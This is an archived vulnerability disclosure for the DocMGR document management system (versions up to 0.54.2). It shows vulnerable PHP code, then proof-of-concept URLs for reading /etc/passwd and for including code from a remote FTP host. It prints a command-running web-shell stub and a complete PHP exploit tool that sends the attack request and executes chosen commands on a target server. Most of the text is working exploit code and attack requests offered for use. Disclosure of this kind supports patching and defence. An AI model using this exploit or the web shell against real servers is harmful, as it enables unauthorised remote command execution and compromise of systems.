<<< Date Index >>>     <<< Thread Index >>>

DocMGR <= 0.54.2 arbitrary remote inclusion



--------------- DocMGR <= 0.54.2 arbitrary remote inclusion --------------------

software:
site: http://www.docmgr.org/
description:  "DocMGR is a complete, web-based Document Management System (DMS).
It allows  for the storage of any file type, and supports  full-text indexing of
the most popular document formats. It is  available  in many different languages
and is  easy to translae into  new  languages. DocMGR  runs on  PHP, the  Apache
webserver, and Postgresql"
--------------------------------------------------------------------------------
i)
vulnerable code in modules/center/admin/accounts/process.php:

<?

$pageAction = $_POST["pageAction"];
$includeModule = $_REQUEST["includeModule"];

if ($_REQUEST["accountId"]!=NULL) $accountId = $_REQUEST["accountId"];
elseif ($_SESSION["accountId"]!=NULL) $accountId = $_SESSION["accountId"];

if (!$includeModule && $accountId) $includeModule="accountprofile";

/********************************************************************
        process our search string
********************************************************************/

if ($pageAction=="search") {

        $searchString = $_REQUEST["searchString"];

        $searchHeader = "<div class=\"toolHeader\">
                        Results For \"".$searchString."\"
                        </div>
                        ";

        $option = null;

        if (defined("USE_LDAP")) {
                if (defined("GLOBAL_ADMIN")) $option["search_base"] = LDAP_BASE;
                else $option["search_base"] = SEARCH_BASE;
        }

        //create our search parameter array
        $option = null;
        $option["conn"] = $conn;
        $option["searchParm"]["login"] = $searchString;
        $option["searchParm"]["first_name"] = $searchString;
        $option["searchParm"]["last_name"] = $searchString;
        $option["wildcard"] = "last";

        $searchResults = returnAccountList($option);

        //if we find one match, load this account
        if ($searchResults["count"]==1) {
                $accountId = $searchResults["id"][0];
                $pageAction = null;
                $_POST["pageAction"] = null;
                $includeModule="accountprofile";
        }
        else {
                $_SESSION["accountId"] = null;
                $accountId = null;
                $includeModule = null;
        }

}

if ($accountId!=NULL) {

        $_SESSION["accountId"] = $accountId;
        $accountInfo = returnAccountInfo($conn,$accountId,LDAP_BASE);

        //make sure this user can alter the account.  If the account is an 
admin, then they cannot
        if ($accountId!=USER_ID) {

                //see if this user has permissions to edit other users
                if (!bitset_compare(BITSET,MANAGE_USERS,ADMIN))
                        $siteErrorMessage = "You do not have permissions to 
edit other users\n";
                else {

                        //see if this is an non-admin user trying to edit an 
administrator
                        if (!bitset_compare(BITSET,ADMIN,null)) {

                                $bitset_temp = 
returnUserBitset($conn,$accountId);
                                if (bitset_compare($bitset_temp,ADMIN,null))
                                        $permErrorMessage = "You cannot edit 
this user.  This user is an administrator.";
                        }

                }

        }

}

//processing for our sub module.  We cannot call these with a function, or
//we do not get information passed from process to display like we want

$processPath = $siteModInfo["$includeModule"]["module_path"]."process.php";
$functionPath = $siteModInfo["$includeModule"]["module_path"]."function.php";
if (file_exists($functionPath)) include($functionPath);
if (file_exists($processPath)) include($processPath);

...


if short_open_tag = On in php.ini you can execute the script directly.
$includeModule var is not initizialized so, if register_globals = On, you can
set it to an index of your choice, ex: "suntzu" now
$siteModInfo["suntzu"]["module_path"] is not initizialized.

On PHP 4, with magic quotes = Off you can now include an arbitrary local
resource, poc:

http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.php?includeModule=suntzu&siteModInfo[suntzu][module_path]=../../../../../../../../../etc/passwd%00

on PHP 5 - on it the file_exists() function supports ftp resources... -  you can
include from remote an arbitrary process.php or function.php file, poc:

http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.php?includeModule=suntzu&siteModInfo[suntzu][module_path]=ftp://username:password@xxxxxxxxxxxx/

if in ftp://username:password0@xxxxxxxxxxxx/process.php we have code like this:

<?php system($cmd);?>

you can launch operating systems commands:

http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.php?cmd=ls%20-la&includeModule=suntzu&siteModInfo[suntzu][module_path]=ftp://username:password@xxxxxxxxxxxx/

--------------------------------------------------------------------------------
exploit:

<?php
#  ---docmgr_0542_incl_xpl.php                           0.30 12/02/2006       #
#                                                                              #
#           DocMGR <= 0.54.2 remote commands execution exploit                 #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  -> works against PHP5, with short_open_tag = On and register_globals = On   #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "The quality of decision is like the well-timed swoop of a falcon  #
#  which enables it to strike and destroy its victim."                         #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);

echo'<html><head><title> ** DocMGR <= 0.54.2 remote commands execution exploit**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
** DocMGR <= 0.54.2 remote commands execution exploit**  </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank";>
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/DocMgr/ or just / ) </span></p><p><input type="text" name="cmd">          <span
class="Stile5"> * specify a command   </span>   </p>   <p>   <input  type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp location (ex: ftp://u
sername:password@xxxxxxxxxxxx)</span> </p> <p> <input   type="text" name="port">
<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities_($headeri[$li+$ki])."</td>";
                }
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . 
socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
        }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=urlencode($_POST[FTP_LOCATION]);
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check 
the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

  # STEP X -> One and unique, arbitrary remote inclusion ...
  $packet="GET 
".$p."modules/center/admin/accounts/process.php?cmd=$cmd&includeModule=suntzu";
  $packet.="&siteModInfo[suntzu][module_path]=$FTP_LOCATION/ HTTP/1.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="User-Agent: MiracleAlphaTest\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
                                       else {echo "Exploit failed...";}
}
else
{echo "Note: on ftp://somehost.com you need this code<br>
       in process.php or function.php :<br>";
 echo  nl2br(htmlentities("
        <?php
        echo\"HiMaster!\";ini_set(\"max_execution_time\",0);passthru(\$cmd);
        ?>
        "))."<br>";
  echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>
--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/docmgr_0542_incl_xpl.html
--------------------------------------------------------------------------------